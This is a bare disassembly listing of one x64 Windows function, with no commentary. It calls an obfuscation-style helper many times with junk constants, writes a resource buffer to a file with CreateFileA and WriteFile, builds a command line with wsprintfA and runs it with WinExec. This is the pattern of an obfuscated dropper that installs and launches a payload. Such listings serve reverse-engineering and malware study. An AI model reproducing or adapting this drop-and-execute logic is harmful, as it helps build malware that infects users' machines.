mov ecx, 0xe0
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x6cd376
call fcn.1400057e0
mov ecx, 0xdd35
call fcn.1400057e0
mov ecx, 0x13
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xaa9
mov edx, r15d
call fcn.1400057e0
mov rcx, rbx
call fcn.1400057e0
mov ecx, 0xc0000000
mov edx, 0xa4
call fcn.1400057e0
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
mov ecx, 3
mov edx, 0x6d
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rdi
mov edx, r15d
mov r8d, r15d
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 0x80
mov edx, r15d
mov r8d, r15d
call fcn.1400057e0
sub rsp, 0x20
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
mov edx, r14d
mov r8d, ebx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x40
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
inc rax
cmp rax, 2
jb 0x14000a60d
movzx esi, byte [rbp + 0x28b]
mov rax, qword [rbp + 0x1a0]
lea edi, [rsi + rax]
mov ecx, esi
xor ecx, eax
sub edi, ecx
and esi, eax
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
add rsp, 0x20
mov ecx, eax
shl esi, cl
xor esi, edi
mov dword [rbp + 0x80], esi
mov rsi, qword [rbp + 0x208]
mov rdi, qword [rbp + 0x1b0]
mov ecx, dword [rbp + 0x234]
sub rsp, 0x20
mov edx, 0x6b
call fcn.1400057e0
sub rsp, 0x10
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x80]
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rsp, 0x30
mov rcx, qword [rbp + 0x208]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov rcx, qword [rbp + 0x1c0]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeResource]
add rsp, 0x20
mov esi, eax
sub rsp, 0x20
lea r8, [0x14001014c]
lea rdi, [rbp + 0x80]
lea r9, [rbp - 0x80]
mov rcx, rdi
mov rdx, qword [rbp + 0x198]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8d, 0x90
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov rcx, rdi
mov edx, eax
call qword [sym.imp.KERNEL32.dll_WinExec]
add rsp, 0x20
mov rsi, qword [rbp + 0x248]
sub rsp, 0x20
movabs rcx, 0x20fc475d71b6cb4b
mov edx, 0xd9
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0x1b
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
xor rdi, rax
sub rsp, 0x20
movabs rcx, 0xdf03b8a28e4a34b5
mov edx, 4
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 0x10000
call fcn.1400057e0
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
add rsp, 0x20
movzx ebx, byte [rbp + 0x281]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xeb
mov r8d, ebx
mov r9d, ebx
call fcn.1400057e0
mov ecx, 0x7afafa69
mov edx, ebx
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, 0x28
mov r8d, ebx
call fcn.1400057e0
mov ecx, 0x1050504
call fcn.1400057e0
mov ecx, 0x1010104
mov edx, ebx
call fcn.1400057e0
mov ecx, 0xb071544
mov edx, ebx
mov r8d, ebx
call fcn.1400057e0
movabs rcx, 0x1f1384bddf70ac13
mov edx, 0xb3efbb
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x9a
call fcn.1400057e0
mov ecx, 0x6c83
call fcn.1400057e0
mov ecx, 0x65
mov r8d, 0x7d
mov edx, ebx
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xdb
call fcn.1400057e0
mov ecx, 0xcfd1
mov edx, 0x24
call fcn.1400057e0
movabs rcx, 0xe9bbd05b9071fe1b
mov edx, 0x8bef10
call fcn.1400057e0
mov edx, 0xb6
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
mov edx, 0x6d
mov r8d, ebx
call fcn.1400057e0
add rsp, 0x20
xor al, bl
movzx eax, al
and eax, 1
lea rsp, [rbp + 0x298]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret